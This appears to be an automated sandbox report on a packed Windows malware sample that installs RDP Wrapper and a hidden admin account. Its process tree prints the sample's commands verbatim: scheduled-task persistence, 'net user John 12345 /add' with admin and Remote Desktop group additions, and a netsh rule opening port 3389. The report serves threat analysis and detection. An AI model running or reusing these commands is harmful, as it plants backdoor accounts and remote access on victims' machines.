rms | 90f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	smss.exe

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
4432	cmd.exe
816	net1.exe
1084	net.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4848	netsh.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	smss.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	smss.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	winserv.exe

Executes dropped EXE 6 IoCs

pid	Process
2324	winserv.exe
544	winserv.exe
4804	winserv.exe
1664	RDPWinst.exe
1668	winserv.exe
2788	winserv.exe

Loads dropped DLL 1 IoCs

pid	Process
2492	svchost.exe

Themida packer 13 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/memory/4284-0-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-2-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-3-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-4-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-5-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-6-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-7-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-8-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-9-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-31-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-34-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-55-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida
behavioral3/memory/4284-64-0x00007FF713500000-0x00007FF714533000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	smss.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWinst.exe

AutoIT Executable 11 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral3/memory/4284-3-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-4-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-5-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-6-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-7-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-8-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-9-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-31-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-34-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-55-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe
behavioral3/memory/4284-64-0x00007FF713500000-0x00007FF714533000-memory.dmp	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	RDPWinst.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4284	smss.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\RDP Wrapper	smss.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWinst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWinst.exe
File opened for modification	\??\c:\program files\rdp wrapper\rdpwrap.txt	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RDPWinst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winserv.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
872	timeout.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\MIME\Database	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	smss.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\Setup\winmgmts:\	smss.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4276	schtasks.exe
384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
2324	winserv.exe
2324	winserv.exe
2324	winserv.exe
2324	winserv.exe
2324	winserv.exe
2324	winserv.exe
544	winserv.exe
544	winserv.exe
544	winserv.exe
544	winserv.exe
4804	winserv.exe
4804	winserv.exe
4804	winserv.exe
4804	winserv.exe
2492	svchost.exe
2492	svchost.exe
2492	svchost.exe
2492	svchost.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe
4284	smss.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	winserv.exe
Token: SeTakeOwnershipPrivilege	544	winserv.exe
Token: SeTcbPrivilege	544	winserv.exe
Token: SeTcbPrivilege	544	winserv.exe
Token: SeDebugPrivilege	1664	RDPWinst.exe
Token: SeAuditPrivilege	2492	svchost.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
2324	winserv.exe
2324	winserv.exe
2324	winserv.exe
2324	winserv.exe
544	winserv.exe
544	winserv.exe
544	winserv.exe
544	winserv.exe
4804	winserv.exe
4804	winserv.exe
4804	winserv.exe
4804	winserv.exe
1668	winserv.exe
1668	winserv.exe
1668	winserv.exe
1668	winserv.exe
2788	winserv.exe
2788	winserv.exe
2788	winserv.exe
2788	winserv.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 4276	4284	smss.exe	87
PID 4284 wrote to memory of 4276	4284	smss.exe	87
PID 4284 wrote to memory of 384	4284	smss.exe	89
PID 4284 wrote to memory of 384	4284	smss.exe	89
PID 4284 wrote to memory of 2324	4284	smss.exe	93
PID 4284 wrote to memory of 2324	4284	smss.exe	93
PID 4284 wrote to memory of 2324	4284	smss.exe	93
PID 4284 wrote to memory of 2596	4284	smss.exe	98
PID 4284 wrote to memory of 2596	4284	smss.exe	98
PID 2596 wrote to memory of 5004	2596	cmd.exe	100
PID 2596 wrote to memory of 5004	2596	cmd.exe	100
PID 5004 wrote to memory of 3832	5004	net.exe	101
PID 5004 wrote to memory of 3832	5004	net.exe	101
PID 4284 wrote to memory of 2444	4284	smss.exe	102
PID 4284 wrote to memory of 2444	4284	smss.exe	102
PID 2444 wrote to memory of 2624	2444	cmd.exe	104
PID 2444 wrote to memory of 2624	2444	cmd.exe	104
PID 2624 wrote to memory of 984	2624	net.exe	105
PID 2624 wrote to memory of 984	2624	net.exe	105
PID 4284 wrote to memory of 5056	4284	smss.exe	106
PID 4284 wrote to memory of 5056	4284	smss.exe	106
PID 5056 wrote to memory of 1556	5056	cmd.exe	108
PID 5056 wrote to memory of 1556	5056	cmd.exe	108
PID 1556 wrote to memory of 1756	1556	net.exe	109
PID 1556 wrote to memory of 1756	1556	net.exe	109
PID 4284 wrote to memory of 3680	4284	smss.exe	110
PID 4284 wrote to memory of 3680	4284	smss.exe	110
PID 3680 wrote to memory of 972	3680	cmd.exe	140
PID 3680 wrote to memory of 972	3680	cmd.exe	140
PID 972 wrote to memory of 5116	972	net.exe	113
PID 972 wrote to memory of 5116	972	net.exe	113
PID 4284 wrote to memory of 4460	4284	smss.exe	114
PID 4284 wrote to memory of 4460	4284	smss.exe	114
PID 4460 wrote to memory of 3436	4460	cmd.exe	116
PID 4460 wrote to memory of 3436	4460	cmd.exe	116
PID 3436 wrote to memory of 4544	3436	net.exe	117
PID 3436 wrote to memory of 4544	3436	net.exe	117
PID 4284 wrote to memory of 1480	4284	smss.exe	118
PID 4284 wrote to memory of 1480	4284	smss.exe	118
PID 1480 wrote to memory of 3200	1480	cmd.exe	120
PID 1480 wrote to memory of 3200	1480	cmd.exe	120
PID 3200 wrote to memory of 3080	3200	net.exe	121
PID 3200 wrote to memory of 3080	3200	net.exe	121
PID 4284 wrote to memory of 4432	4284	smss.exe	122
PID 4284 wrote to memory of 4432	4284	smss.exe	122
PID 4432 wrote to memory of 1084	4432	cmd.exe	124
PID 4432 wrote to memory of 1084	4432	cmd.exe	124
PID 1084 wrote to memory of 816	1084	net.exe	125
PID 1084 wrote to memory of 816	1084	net.exe	125
PID 4284 wrote to memory of 1664	4284	smss.exe	130
PID 4284 wrote to memory of 1664	4284	smss.exe	130
PID 4284 wrote to memory of 1664	4284	smss.exe	130
PID 1664 wrote to memory of 4848	1664	RDPWinst.exe	134
PID 1664 wrote to memory of 4848	1664	RDPWinst.exe	134
PID 4284 wrote to memory of 3856	4284	smss.exe	135
PID 4284 wrote to memory of 3856	4284	smss.exe	135
PID 3856 wrote to memory of 872	3856	cmd.exe	137
PID 3856 wrote to memory of 872	3856	cmd.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\smss.exe
"C:\Users\Admin\AppData\Local\Temp\smss.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4276
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:384
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2324
- - C:\ProgramData\Windows Tasks Service\winserv.exe
    "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user John 12345 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\net.exe
    net user John 12345 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user John 12345 /add
      4⤵
      PID:3832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\net.exe
    net localgroup "Администраторы" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Администраторы" John /add
      4⤵
      PID:984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного рабочего стола" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного управления" john /add" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:5116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" John /add
      4⤵
      PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\net.exe
    net localgroup "Administradores" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administradores" John /add
      4⤵
      PID:3080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" john /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:816
- C:\ProgramData\RDPWinst.exe
  C:\ProgramData\RDPWinst.exe -i
  2⤵
  - Server Software Component: Terminal Services DLL
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    - Delays execution with timeout.exe
    PID:872

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:348

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2492

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:972

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1668

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

System Information Discovery